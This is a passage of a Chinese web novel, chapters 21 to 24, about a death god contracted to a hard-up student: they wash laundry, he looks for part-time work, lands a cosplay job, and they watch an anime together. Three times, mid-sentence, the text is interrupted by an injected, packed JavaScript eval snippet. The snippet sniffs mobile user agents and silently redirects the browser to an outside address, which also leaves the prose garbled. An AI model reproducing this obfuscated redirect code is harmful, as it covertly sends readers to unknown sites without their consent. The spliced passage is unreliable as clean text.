一身黑的赫罗特,脖子上居然带着条蓝色围巾,怎么看都是有猫腻。 赫罗特见他视线微不可觉的飘移一个像素点,心生警觉。 镰刀一下闪到面前,挡住下砸的拳头和麦格盯着围巾的视线,漆黑镰刀上倒映他自己的眼睛。 赫罗特的脸随着镰刀下移出现。 翻手镰尖向上,以内弧卡住指虎,麦格不愿后退加大力道,武器互相摩擦飙出火花。 两人对视一眼,谁都不想当那个先后退的人。 僵持中,轻飘飘的空灵声音在他的脑海中响起。 “……赫罗特。” 他的名字幻听般出现在脑海中,是常宵雨的声音,赫罗特嘴角不易察觉的勾起。 是了,差点忘记了这回事,还开动脑筋想着怎么跑路呢,可累死他了。 “赫罗特。” 声音愈发清晰,灵魂深处的契约微微颤抖。 镰刀勾拉,猛地带动麦格向前,下盘微微失稳,竭力稳固姿势不被带跑,水泥碎裂,麦格双足深陷地下,犹如老牛犁地翻开大片长条水泥地。 麦格怒吼一声,拔地而起。 镰柄指间翻飞,挥舞得密不透风划出漆黑圆弧,尽数挡下麦格发狂的攻击,麦格的轰击震动周遭,楼上玻璃碎片洒落。 赫罗特不想再和蛮牛打架了。 他猛地镰刀前突与麦格的拳头对拼,借力向后飞起跳开,拉开距离。 赫罗特落地,镰刀平举身前,歪头道:“抱歉,不陪你玩了。” 被语言点醒,麦格环视四周,惊觉不知何时他们已经深入小巷,周边废弃红砖房外壁破旧,进来的路口只见得到一个小光点。 眼刀划向赫罗特。 他什么时候有这等心计了? 赫罗特咧嘴一笑,镰刀横扫,漆黑刃光没入墙壁,然后果断抽出。 “轰隆——!” 本就不牢固的高墙轰然倒塌,巨量残骸挡在中央。 弥漫烟尘。 “再见?” 赫罗特的声音从烟雾中传出。 麦格隐约能看到赫罗特的轮廓,他的手放在太阳穴对着他行了一个礼,然后划个半圆落在身前,微微弯腰。 再起身时,烟尘散去,他已然不见踪迹,麦格甚至没来得及去感应他是如何离开的。 彼此之间勉强保持的链接也切断了。 * “赫罗特……” 最后一次念名字结束,常宵雨迟迟未见契约有所反应,叹了口气,卸下包包。 才回到家,她便着急翻阅契约内容,鞋子衣服都还没换掉。 她看着手背,正要放下手,眼前突然红光大亮,常宵雨不得不用另一只手半遮挡眼睛,眯着眼去观察出现的异像。 契约烙印浮出皮肤,复杂花纹自中心勾勒,手背上流动,红的滴血。 皮肤刺痛,热量散发出来。 房间气浪灼热,当温度达到最顶点时,突然冷却,不安定的气流间隙里伸出一只手。 那是一只修长且苍白的手。 他反手一掰,好像抓住了什么,两手上下一扯,眼前的空气被他硬生生撕开。 赫罗特扛着镰刀走出来,那道猩红缝隙无声无息的消失在身后,他挠了挠头,手一松镰刀化为黑烟消失。 他走向常宵雨。 “我刚才还想着要是跑不掉怎么办呢。要不是你仔细,我估计再过一百年也记不起来还有这规定。” 赫罗特捡的现成恶魔契约与常宵雨签订,改动了相关信息,召唤的内容倒是扫了一眼,但他不记事,只关注了传话功能,非要别人提醒才能想起来这契约本质上是用来召唤的。 只要常宵雨同意并念诵他的名字,他就能通过契约跨越空间到达她身边。 常宵雨不接话。 “过来。”她招手,赫罗特乖乖走来送回围巾,将围巾折叠放在床头,她指着赫罗特的衣服拉链:“衣服脱下来和我的外套一起洗。” 赫罗特犹豫,有些念念不舍,慢吞吞地脱掉新衣服,斗篷重新显现在他身上。 两只手在空中接近,常宵雨抓过衣服,推开卫生间的门丢进桶里。 赫罗特的表情扭曲一瞬,有些痛心。 常宵雨忙碌着,把冬季换洗衣服尽数投入桶里,直到塞不下了,才拿出几件薄的留出空间。 她打开水龙头,倒入洗衣粉,等待水漫过所有衣物。 水龙头开到最大,水哗啦哗啦在桶里积攒。 在这期间,赫罗特双手交叉抱胸,斜斜倚靠在门边,探究的盯着常宵雨猛瞧。 长长睫毛下垂,阴影衬得眼瞳漆黑无光,嘴唇细细抿成一条线,眼神专注于水桶。 似乎一切如常,但自从他回来后,常宵雨一次视线也没和他对上。 不知是不是错觉,总觉得她的表现好像有些冷淡。 赫罗特想到就问。 “你是不是生气了?”赫罗特首先猜测的是她的心情问题。 “没有。” 常宵雨开始是有些生气的,愤怒于他招呼不打一声就冲出去,独自决定事情自己扛,没有想过她。 不过到了现在,也说不上有什么情绪,没出事就好,她也自己调理好了,顶多短时间内不想和赫罗特说话。 她推着赫罗特转过身推出门口:“我洗衣服,你就别在这里碍眼了。” “没有?我不信。” 赫罗特抗拒地扭过头,垂眼看着背后常宵雨:“不就是洗衣服吗,我也行。” 常宵雨转念一想,那桶衣服里本就有他的一份,他做点贡献也是应该的。 “好啊。”常宵雨放下手,从他的背部撤离。 “那你来洗。” 赫罗特站到水桶面前,里面衣服湿透的地方深色晕染,各色布料纠结在一起,水面上未化开的白色洗衣粉漂浮。 抬起双手,他细看手掌纹路,视线又聚焦在水桶里。 衣服该怎么洗? 只觉得无从下手。 “不会?”常宵雨看出名堂发问。 “洗、洗衣服而已!怎么可能不会,我只是在想效率更高的做法。”赫罗特确实从未接触过家务,但他才不会承认这种事。 家里怎么没有洗衣机呢?对了,他又差点忘记她很穷了,当然买不起。 洗衣机、洗衣机。 赫罗特心里念叨这这个词,想起洗衣机里旋转的滚筒,生锈的大脑也转动起来。 常宵雨静静看着他表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542688|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演,从门外拿了个塑料收纳箱当凳子坐下。 就见他目光来回闪动,时而摆弄他的手,终于一停。 熟悉的黑炎手掌中冒出,镰刀伸长,镰柄底端被主人狠狠插入水桶中央。 常宵雨眼睛微微睁大。 水面震动起来,小却细密的水花激荡。 满满一桶的衣服逐渐顺着活起来的水,以镰刀为中心转动,速度逐渐加快,嗡鸣声响起。 这什么,死神牌洗衣机? 泡沫被快速的水流打出,随着旋转的方向甩出桶外,落在潮湿的地面,两秒后破裂。 “你的力量……就用来干这个?”常宵雨迟疑地指了指水桶。 “那不然呢。”赫罗特有些奇怪的看了她一眼:“力量就是拿来用的啊。” “而且由我人工操作,比机器洗的还干净。” 常宵雨沉默一下,鼓励道:“好厉害噢,那你加油吧。” 反正不用她洗了。 明明是敷衍的话,赫罗特听了却干劲十足,加大马力旋转起水里的衣服。 他控制得很好,飙向常宵雨的水在冒出桶外时就会被无形力量挡回。 常宵雨托着腮,坐在收纳箱上看他洗衣服。 她很少闲下来在某个地方浪费时间奢侈的发呆,就这样看着他操作全程。 赫罗特中途换了两次水,致力于把衣服洗的干干净净,一点洗衣粉都不残留。 他拄着镰刀站那儿,斗篷被他掀在背后露出有精瘦肌肉线条手臂,全神贯注的控制力量,进行最后一遍过水。 “我说,”常宵雨冷不丁道:“你以后做事之前得先和我商量。” “啊……啊?”衣服旋转的速度减缓,赫罗特拔出注意力,才理解她说了什么。 “为什么?” 他眨了眨眼。 “因为你现在不是一个人了。” 突如其来的一句话。 赫罗特手下的力量彻底转不动了,他猛地抓紧镰柄。 水生与嗡鸣声消失,卫生间内无比安静,偶尔有泡沫啪啦炸开。 常宵雨直直看着他,这回反而是赫罗特先躲避了她的视线:“就像这次,如果我没想到去翻那一大堆契约说明,你打算怎么办?” “你想过自己会怎么样吗?你打不过他吧,至少现在不行,不然以你的性格会这样灰溜溜借助契约逃跑?打得过的话不耀武扬威一番就不是你了。” 赫罗特垂着头,沉默。 她顿了顿:“而且你要是出事了,谁来帮我解决我的霉运?” 这话说得冷漠,似乎只考虑自己的利益,赫罗特却忽然笑了一下。 他抬起眼:“嗯。我答应以后一定提前和你说,征求你的同意,不会像今天一样突然冲出去了。” “你最好是。” 常宵雨想了想,举起自己的手,伸出小拇指:“拉勾。” “什么啊这是?”镰刀消失手中,赫罗特跨过来站到常宵雨面前。 他伸出手,看着自己沾满水的手停顿了一下,黑焰燃起蒸发了其上的水分,然后他学着常宵雨伸出尾指。 “这样?” 常宵雨尾指上前勾住他的手指,大拇指对着狠狠摁下去:“我虽然没有契约,但盖了章就是成立了。” 赫罗特另一只手放在弯曲的膝盖上撑住,身体前倾弯腰对着常宵雨,在她想放开手的时候依旧勾着她不放,直勾勾的盯着两人交结在一起的手。 他的尾指勾起,与无名指渐渐合拢在一起将她的尾指卡在中间,夹得她生疼。 好一会儿笑着才说:“你在这种地方意外幼稚。” 他终于放开手,松了力道。 常宵雨收回手握紧放在腿上,左手遮掩着摸了摸小指,被紧紧箍住的感觉还停留在上面。 “你也是。” 22. 第22章 这天,穿着新衣服,赫罗特久违的以人类形象重现于世。 常宵雨向闸机短暂出示学生证,他跟在身后混入了学校,旁边的保安大哥装扮奇异的大学生见得不少,只多瞟了几眼,没太注意他是否为本校学生。 “我上课的时候,你小心点,自己去玩也可以,但最好别和其他人说话。”常宵雨担心他惹事小声叮嘱,赫罗特低下头听她说话,嘴里嗯嗯应着。 她本来是不想这样带着赫罗特进来的,但那天洗完衣服后,他提出了一个令人无法拒绝的提议。 他说,想工作赚点钱。 这对常宵雨来说是个无法拒绝的诱惑。 接下来的几天,赫罗特尝试在商场、小餐馆等地方干了不需要身份证的日结临时工作。 但无一例外,不超过两小时就被扫地出门。 商场临时促销活动缺人,见他高大看着很能干活,招了他,结果因为直白告知前来买衣服的女生穿这身显黑,惹恼了顾客被踹出商场。 在小餐馆端盘子,遇到戾气十足爹味说教的中年男人,受不了有人对他口出狂言,差点撸袖子干起架来,被餐馆里的人拼命阻止,最后小餐馆提前付了一个小时的钱送走了这位大爷。 还有什么是他能做的呢?常宵雨看着他,把主意打在了他的脸上。 “千万别打架,千万别骂人。”常宵雨在教室门口停下,抬手拍了拍他的肩膀。 “你把我当成什么人了,至于吗?”赫罗特自认为若是没人惹他,他可是相当和蔼可亲的。 “学校里人多,在大路中间抽烟的,走路不看路撞人的不少,没准就惹上你了呢?” “那是他们活该。” 常宵雨也是这么想的,但她不能这么说。 “总之,一会儿下课我介绍你和施乃心认识。” 常宵雨走进教室,施乃心在她出现时就注意到了她,人一到面前,表情刻意地往窗外看,又偷看常宵雨几眼。 鬼灵精的样子让常宵雨想不起,去年刚认识时,她是一位多么内向的小女孩。 “这就是你和我说过的那个人?”施乃心凑到常宵雨旁边,占领两个位置间窄窄的间隙,肩膀撞了撞她。 “长成那样……怪不得你都开始关心别人的事情了,我还想着何方神圣值得你花费时间向我询问意见呢。”她恋恋不舍的收回眼神。 常宵雨可不愿为他人费心,光是自己活着就费尽千辛万苦了。 “我这次带他过来,就是来见你的。”常宵雨认真道。 “这……这多不好意思啊。”施乃心看到美男就移不开眼,但也知道常宵雨不是那个意思:“是有什么事吗?” “嗯。” * “我是施乃心。” “赫罗特。” 三人在教学楼的圆桌边集合,赫罗特在面前,她反而拘束起来,坐在椅子上肩膀内扣,两手互相抓着放在大腿。 她想挪动椅子离常宵雨近些,却在陌生人面前不敢动。 常宵雨赫罗特对视一眼。 她提醒道:“就按我们上课说的办。” “哦……哦好!”施乃心手机放上桌面,然后想起赫罗特可能还不知道具体情况,向他解释:“小雨和我说了你的情况,我在漫展有认识的人需要coser,但是符合你情况的得多找找。” “所以我上课的时候找了一下。”施乃心翻了翻页面,推着手机到他面前,屏幕上密密麻麻的字赫罗特一个也看不懂,识字课程迫在眉睫。 “这个角色,需要身高一米八以上长相端正的男性coser,长银发红瞳,是位执事,正好适合你,连假发都不需要买了。” “而且,”她说着说着声音微弱下去,低着头侧边瞄了常宵雨一眼:“这个角色不善于伪装,本身脾气暴躁,就算你ooc控制不住也会被认为是本色出演,只要别真的打伤人。” 赫罗特皱眉,抓起手机贴在眼前看了看,随手一丢扔进施乃心怀里。 施乃心手忙脚乱的去接手机,不受控制地打得手机被抛飞好几次,险些接不住。 捏紧手机,她松了口气,把手机贴身放入斜挎包里。 “只有这个适合我对吧?” 施乃心点头。 “……” “好吧,我接受。” “今天是二十五号圣诞节,距离元旦还有几天,我们得早做准备了。”时间太赶,常宵雨翻看日历。 “我们?” 常宵雨抬头看他:“我找了那边的兼职,工资给的比其他地方高。” “你都没和我说过。”他小声嘀咕。 施乃心看着她们对话,解释行业内约定俗成的规矩:“一般除了官方委托,通常都需要自备服装,链接我上课时发给你了,这家的cos服我买过不少,可是经过我严选的。” 常宵雨下拉消息栏,果然有一连串链接躺在在消息通知里。 施乃心又科普了许多相关的注意事项,最后聊到她参加的社团活动时间接近,三人这才分开。 出了校门,离开美食一条街,接下来的道路上很冷清。 赫罗特盯着常宵雨的后脑勺,更在后面晃晃悠悠地走着。 他把手张开,手掌轻轻放在常宵雨头顶,兴师问罪:“是你和她说的我脾气很差吧?” 常宵雨挡开他的手。 “那是事实,我只是根据你的情况合理判断,去找可能适合你的兼职。” “我脾气有那么差吗?”他纳闷道。 不过,细细想来,赫罗特在她面前也就才认识那几天表现得脾气有些暴躁,后面从没和她生气过。 倒是她情绪波动得有点频繁了。 但想到他在外兼职老被人讨厌,连这张脸都不能为他加分,减轻罪责。 常宵雨还是嗯了一声。 赫罗特不再说话了,安静的陪着她来到公交车站。 她对别人的情绪不敏锐,没发现赫罗特的异常,上了车,赫罗特有椅子不坐,拉着立杆扶手站在她的位置旁边,依然一言不发,这才让她琢磨出点什么。 “看我干什么?” 赫罗特微笑发问,常宵雨频频看来的眼神存在感过于强烈。 “没什么……不。” 他笑起来从来都是放肆的,少有如此收敛的笑容,虽然不明白赫罗特怎么了,但常宵雨略略一想就知道肯定是她说的话戳到他了。 他好像很介意别人认为他脾气差。 常宵雨干脆地向他道歉:“对不起。” 赫罗特略显诧异,眉毛微扬,然后快速做出反应。 他把手放在耳后做出聆听状,笑道:“啊?你说什么,我听不清。” 常宵雨和他对上眼神,确认了,赫罗特这家伙绝对是故意的。 但这本就是她理亏,道歉是应该的。 “抱歉。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542689|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能再说一遍吗?我刚才走神没听到。”赫罗特手腕松松挂在扶手上,身体前倾。 死神感官过人,他绝对听到了。 “那就当你没听到吧。” 常宵雨把指向外的脚尖摆正回来,贴在公交车边缘上,座椅留出一半空位。 只剩下公交车发动行驶的响。 “你不觉得我这样不好?”赫罗特突然发问。 “什么?” “脾气太烂,说话难听,逞凶斗狠,没有纪律,白眼狼,冲动莽撞……”赫罗特笑着一个个数过去。 其他人怎么说他的,他记得清清楚楚,即使过了几百年。 衣服下摆的力道传达到下半身,赫罗特见到常宵雨的手扯动他的外套。 视线一转,他清清楚楚看见常宵雨眼里的自己,她冷静得几乎毫无情绪的眼神,衬托得他仿佛从未与过往隔离。 “你什么时候开始在意别人的话了?” “……不是别人。” 而是你也觉得我脾气差不是吗? 常宵雨伸高手,高度正好的摸了摸他的额头,触碰到冰凉一片,对上那双红色的眼睛,又反应过来他不是人类,撤回手。 “但这不是缺点吧。”常宵雨重复一遍:“脾气差不是缺点。” “也许。” 赫罗特没听进去,常宵雨拿身边人举例帮助他理解,也换个角度让他思考问题:“你认为施乃心是一个什么样的人?” “胆小,内向,情感丰富的人。”赫罗特毫不犹豫答道。 “都对,因此她脾气很好,但我不认为这是优点。”常宵雨抬头看着赫罗特:“说的好听是温柔脾气好,难听点就是软弱,别看她现在无忧无虑,看不出她高中被同校学生欺负了三年,如果她和你一样脾气暴躁,就不会被欺压,这些东西所谓的优缺点,只是以外人的标准看而已。” 赫罗特忍不住笑了一下:“听起来不是什么好话。” 常宵雨摆手:“对外人好的就是优点,坏的就是缺点,我不这么认为。” “你这样就不错,再说,如果你不是这样的人,我根本没机会和你认识,某种程度上,我可是你那烂脾气的受益人。” 赫罗特要是软弱可欺,在黑心公司持续被欺压,她也许还在奔波焦虑于增强的厄运,指不定哪天就死了。 “你觉得我就这样,也很好吗?” 赫罗特的眼里在闪烁,有什么浓郁的东西呼之欲出,常宵雨看得心惊,但还是说完了想说的所有话。 “不管是你还是施乃心,我都希望你们心里的第一顺位永远是你们自己,我更宁愿你攻击性强一点,能保护好自己……虽然你现在已经很有攻击性了。” 她停顿一秒,就为了给自己缓冲时间,还是没能战胜冉冉升起的求知欲。 “你呢,为什么突然怀疑自己?” 赫罗特手指摩挲心口,茫然道:“我不知道。” 只是一想到常宵雨也会和那些人一样,认为他是怪胎、一文不值的人,再也不需要他,他的心脏就被攥紧了,停止呼吸。 “很奇怪吧。”他笑着:“不过也就那一瞬间而已。” “没事就好。” 常宵雨禁止自己再问下去,借助玩手机的动作转移注意力,合理中断聊天。 她一根手指慢慢按着键盘。 谈心的次数变多了,这是一个危险信号。 这样下去没问题吗? 23. 第23章 事实证明,死神对比普通人来说就是有着巨大的学习优势,智商再低谷,强大灵魂带来的超强记忆让他死记硬背也能理解大部分夏国字。 更何况赫罗特并不是笨,只是不爱动脑。 他苦哈哈地趴在书桌上,左手一本字典,右手一本思政教材,中间摊开的是常宵雨高二时买的一本小说。 用词简单,适合赫罗特这种初学者。 一天过去,他已经能够看懂与书写日常用语了,虽然这意味着他以后能享受更多漫画,但不爱学习的他还是感到痛苦。 为什么当死神能够通晓语言,却无法理解文字呢。 他握着笔,无聊地在草稿纸上画圈圈。 忽略奇特的发色瞳色,这个时候的他看起来就像一个普通且还有些孩子气的男生。 常宵雨捧着手机缩在床上,没刷几个帖子,机身震动。 赫罗特听到声音立即扭头,持续关注她的手机。 【黄金榴莲派:我朋友回复了,说是需要你们今晚六点前给她照片,让她判断成不成。】 【雨:衣服还没到,没问题吗?】 她回复得很快。 【黄金榴莲派:哎呀,不要紧,只要看到他的脸,我朋友是不会拒绝的。】 【黄金榴莲派:[聊天记录16条]】 【黄金榴莲派:要求都在这里了,直接加她账号吧,因为你们之前没有作品,所以得先让她看看合不合适。】 常宵雨编辑完好友申请,退出回复她一个收到,放下手机,赫罗特目光炯炯。 “来信息了?” 常宵雨点头:“需要拍全身与脸部正面照,最好是拍视频证明。” 赫罗特噌地站起来。 “现在就拍吧。” 她下床走到床尾,拉开窗帘让自然光尽可能多的透入室内,路过时特意看了眼他的草稿纸。 全是乱涂乱画。 不过算了,能看懂就暂时没问题,他学的速度快,以后大把时间慢慢学。 “站到那边去。”常宵雨指挥着他去往冰箱对面。 那一面白墙没有堆放任何物品。 赫罗特站定,常宵雨毫无技巧的拍了几张全身照,点开相册,她对自己拍下的照片并不满意。 但照片里赫罗特的眼睛,仿佛透过屏幕看到了她,他意外的很有镜头感,锐利的眼神无一例外的都注视着镜头。 “我是不是应该摆点什么姿势?” 赫罗特在意自己的形象,他走进,越过手机上方,手指擦过常宵雨捧着手机的手下按,使得手机屏幕偏向平面向上。 和平时照镜子时差远了。 “不好看。” “那种事我知道。”常宵雨就是没有任何一点艺术天赋,认真研究构图不如别人随手一拍。 不说镜头畸变本身的影响,她这样的技术拍谁谁丑。 “算了,拍个视频吧。” 赫罗特重新站回去,常宵雨背靠冰箱,尽力保持手与行走的稳定让镜头不晃动,然后高举起手机过头顶,在他面前清晰拍摄进脸部整体后结束。 结束拍摄,她放低手机,赫罗特凑过来。 常宵雨来回拉动进度条,确认视频没有其他问题,和之前拍的照片一起打包发给了通过好友申请的账号。 “刚才的照片怎么也发。” “我拍得再丑,你的脸也是好看的。” 几句话说得赫罗特又得意起来,这回他懂得了掩饰,清了清嗓子,压下即将脱口而出的自夸。 没过几分钟,网络对面就发了一堆吱哇乱叫的文字过来,三百六十度的吹彩虹屁。 【不要嬷我老公啊!:跪了。】 【不要嬷我老公啊!:老师,我第一次看到常服都这么有还原的感觉,简直就是贺拉斯.欧文真人!明明还没有上妆来着。】 【不要嬷我老公啊!:[大哭.jpg]】 她啪啪甩了两个链接过来。 【不要嬷我老公啊!:到时候我们八点左右在一楼A口见,到了就dd我,我下来接老师,摊位上有妆娘所以不用担心没经验!】 事情敲定,告一段落。 常宵雨打开视频网站搜索番剧。 用施乃心的话说,这是对别人热爱事物最起码的尊重,当然,如果赫罗特日后打算干这一行,最开始的态度就更要摆正。 cosplay追求还原度,看完作品了解角色性格再扮演,对她们有利无弊。 赫罗特经常拿她的手机偷看漫画,想必也不讨厌追番。 她把手机递给赫罗特,赫罗特困惑的看着她。 “还有四天,你抓紧把番剧追完吧,毕竟我工作的时候需要用到手机,不可能让给你太久。” 赫罗特一把扯住她的袖子。 “我知道你线上兼职创作很快,一次花一两个小时,晚上睡觉前再做也来得及吧?” 常宵雨说:“但我现在要去写作业。” “不是一周两天的休息日吗?”赫罗特强调了两天:“每天才周日,到时候再写也来得及。” 常宵雨看他一眼,又看着被扯住的袖子,他只捏着袖子边缘小小一块,而不是直接抓住手腕。 不像以前那样粗枝大叶地进行身体接触。 看来那天回来后,她自认为隐蔽的疏离动作还是被察觉了。 赫罗特只是低着头,静静看着她。 常宵雨有些心软,说白了,这并不是他的错,只是她担心事情超出掌控,引来后续不必要的冲突。 她总想着这是一个问题,必须找到解决办法,难免残酷了些。 语气柔和下来:“说吧,想做什么?” “你陪我一起看。” 就这一次。 常宵雨告诉自己。 “好。”她扫视屋内一圈:“但房间这么点大,在哪里,能让我们实现一起看?” 赫罗特一手搭在她肩头,轻松带着她转了一圈,让她面对着床。 “在床上看?”她有些迟疑。 这意味着两人又该挤在一起了。 她思考的时候,赫罗特已经钻上床了,大力拍打她的棉被。 开弓没有回头箭,事情是她自己答应的,常宵雨闭了闭眼,又坚定睁开。 说不定他们早已无法分开,毕竟绑定灵魂的契约真实存在着。 这么一想,挤在一张床上追番好像也不那么难接受了,夜晚搜寻灵魂时来回飞行少不了肢体接触,不如早日习惯。 而且灵魂都钉死了,怎么能还害怕一点□□距离。 常宵雨爬上床,表情愣是能看出视死如归的模样。 等番剧的配音音乐响起,画面随着人物行动变化,她才有些忘记身边的赫罗特,放松了躯体。 …… 【皎洁圆月悬挂在钟楼顶,硕大的钟表分针咔哒转到数字十二,象征午夜十二点的钟声响起,整个城市陷入沉默。 楼顶,两人的身影在月光下拉出两道长长的线,投在楼顶地面上。 银白色长发在风中摇曳,束发的细丝带飘荡,彰显他魔族特征的血色双瞳在月夜亮起。 他嘴唇微动:“我怎么记得疗养院禁止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542690|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你出门?” 两人隔着长长的距离对立站着,彼此都没有向对方走进。 “我没有多少时间了。”少女黯然的双眸垂下,她展开双手,血丝遍布手部皮肤,只差一点就能蔓延到指尖。 “如果你好好配合治疗,起码还能清醒的活三个月吧?”这位魔族对主人外的人类都很无情,他只记得疗养院的判决,没有任何深入了解。 少女摇了摇头。 “我比谁都要清楚自己的身体情况。” “今天,我就失控打破了床边的花瓶。”满地碎瓷片,最好朋友送来的花,绽放热烈的躺在碎片与水渍中,就像没能反应过来当前处境的她一样。 她双手合十:“我明白的,狂化症的患者不被允许存在于王国中,狂化症死亡的人终究会变成怪物,嗜血破坏。我能活到现在没有被斩杀,也是多亏了她力排众议。” 唇边拉扯出一丝苦笑:“但她才坐上国王的位置,我不应该再拖累她了,最重要的是,我能预感到,我的身体到极限了。” “与其让我死在病症中,不如你亲手杀了我。”她上前一步,遥远的距离没有抹杀她眼里的向死之意。】 赫罗特聚精会神,已然带入其中魔族,一想有人突然对他说出这种话,内心的吐槽就顺畅流出:“啊,好麻烦啊。” 寻个死也要谋略策划。 常宵雨看了他一眼。 番剧进度将近尾声,她对角色有了一定了解。 从外表来看,这个魔族角色确实和赫罗特很像,但性格嘛,虽然有暴躁的地方,却比赫罗特要聪明,懂得思考。 “什么眼神。”赫罗特疑问,只觉得常宵雨的眼神蕴含着贬义。 【“说到底,为什么什么坏人都让我做了啊。”魔族烦躁地摸了摸后脑勺:“真麻烦。” “你会答应我的。”少女肯定的说。 魔族却说:“但她不会高兴。” 提到朋友,少女还是迟疑了一下,很快又坚定下来。 “你留在她身边,就是乐意为她处理这些肮脏的暗地里的事情不是吗?她不擅长处理这类事,但你可以。” 被说中了,魔族放下手。 “这是我的心愿,为了我……不,为了她,由你动手是最好的,杀了我,大臣便会认为你有搅乱局势的资格,有了利用价值,他们才会勉强同意你留在陛下身边。” 她一步步走进,两人仅剩一步之隔。 “贺拉斯。” 听见这个名字,魔族记忆起他第一次与主人和少女见面时的画面。 他有多久没听到少女说出这个名字了呢?明明最初陪伴他的,除了主人还有她啊。 也许在人类看来,这样的关系称得上朋友了。 手摸到剑柄,他手指收紧,缓缓拔出剑鞘,露出的剑刃反射月色。 “如果这是你的心愿。” 他闭上双眼,凭借多年的战斗直觉,挥剑! 银光闪过钟楼尖顶。 他探出手,手掌稳稳撑住少女下滑的身体,弯腰将她放在地上。 转过身,这才睁开眼。 他定定的看着钟楼某处圆柱,层叠的裙摆部分露出。 “主人,出来吧。”】 音乐响起,片尾动画跳跃于屏幕,她随手点击下一集,软件自动跳过片头,延续上剧情。 “女主一开始就藏在那里。”常宵雨肯定地说。 “是吧。”赫罗特说:“我倒是觉得,恐怕从一开始,贺拉斯就把这场邀约告诉女主了吧。” “如果是我的话,我会这样。” 24. 第24章 过了几天,终于到达约定时间。 挤完公交挤地铁,挤完地铁挤公交,好不容易拖着装衣物的包来到见面地点。 一点也不巧的遇见了施乃心,三人站在漫展门口面面相觑。 “你好像没有说过你也会来参展。”常宵雨看着她全副武装,精致的红色假发,夸张化的卧蚕放大她的双眼,眼睫毛也刷上红色。 胸口的摊主证晃来晃去。 “唉?没有吗?”施乃心笑着往上提了提行李箱:“不记得了哎。” “麻烦借过。”后面有人侧身过来。 常宵雨走到门边,看着她吃力拉着行李箱躲避,沉累累的。 没等她问,手机震动,便掏出来看了眼,转头告知赫罗特。 “摊主现在正在赶下来,她应该一眼就能认出你。” “好。” 安排妥当后,她可以安心脱身。 “那我先走了。” 展会还没正式开放,常宵雨需要尽早报道,穿上工作服去服务台指引参观者。 赫罗特看着常宵雨走远,和前台的人沟通了几句话,身影没入工作人员帮忙打开的小门中。 此地只剩施乃心与赫罗特。 常宵雨一走,尽管周边蹲在地上的、一屁股坐下的、躺在行李箱里的人比比皆是,放眼望去少说也能数到几千多个人,施乃心还是没来由的感到一阵尴尬。 赫罗特又不像是健谈且擅长开启话题的人。 就在她无所事事的心里哼歌,脑里搭建起摊位布置的立体图,琢磨着如何摆放制品时,赫罗特突然开口了。 “你是怎么做到,让她接受你的帮助的?” 施乃心发了几秒呆,反应过来赫罗特是在和她说话,仰着头看了看他的脸。 赫罗特没有在看她,视线只是追随着人群,漫无目的。 恰巧减轻了施乃心的心理负担,问的又是她有经验的领域。 “怎么?你和她相处时遇到了困难?”人际压力一远离,施乃心就起了戏耍的心,她眯眯笑地说,不正面回答他的问题。 赫罗特两手揣在兜里,眼神扫过来,她立刻老实。 “其实很简单啦。” 施乃心说:“欠人情会让小雨感到不安,即使是很熟悉的人,也本能认为在人情的背后,她将付出自己无法承担的代价。” 赫罗特摇摇头:“我不明白。” “有些人什么都不用付出,就能得到一切,她应该明白这个道理才是,而且她人缘很不错。” 赫罗特是明白的,她走在学校路上,即便话少,也经常有认识不认识的人主动和她打招呼,兼职地方的同事对她抱有善意,老师也都欣赏这个努力生活的学生。 她不加掩饰,却能收获他人的喜爱,脑袋又聪明,这样的人,除了经济条件限制,应当没有其他困扰才是。 “不用付出还得到一切的人,那建立在好运上的,你和她相处时间不短了吧?她的运气恐怕你已经领教过了,而好人缘是努力的结果,是因为她很好。” “这样看,相信什么,都无法相信运气吧。” 何止领教,赫罗特是唯一一个最近距离具体了解过她厄运的。 道路尽头跑来一个挑染蓝发的女孩,远远注意到施乃心,她蹦跳着大力挥舞手,附近的人都下意识看她一眼。 “你只要让她也为你做什么就好了,不需要真正对等,比如提出让她陪我一起吃饭,事实上是我想借机让她偶尔也尝尝好的食物。天天吃饭堂,总是苛待自己的味蕾可不好。” “当然。” 她竖起一根手指:“她能感觉到你并不真的想让她还人情,而是想抹平她内心的不安,但没关系,只要她付出行动,那种不确定的感受就能平静下来。” 虽然对他有些弯绕,不过赫罗特能够理解她的话。 “你为什么知道这些?” 挑染发女孩气喘吁吁跑到面前,双手撑着膝盖弯腰休息,手里拽着的几条挂绳啪啪互甩。 施乃心伸手揪了揪她的金属骷髅发饰:“我只是把她对我做过的事情做了一遍而已。” “好了,接你的人到了,我也该进去了,拜拜。” 她看似轻松地挥挥手,背过身去,使出吃奶的力气拔着行李箱一点点蹭进大门门槛。 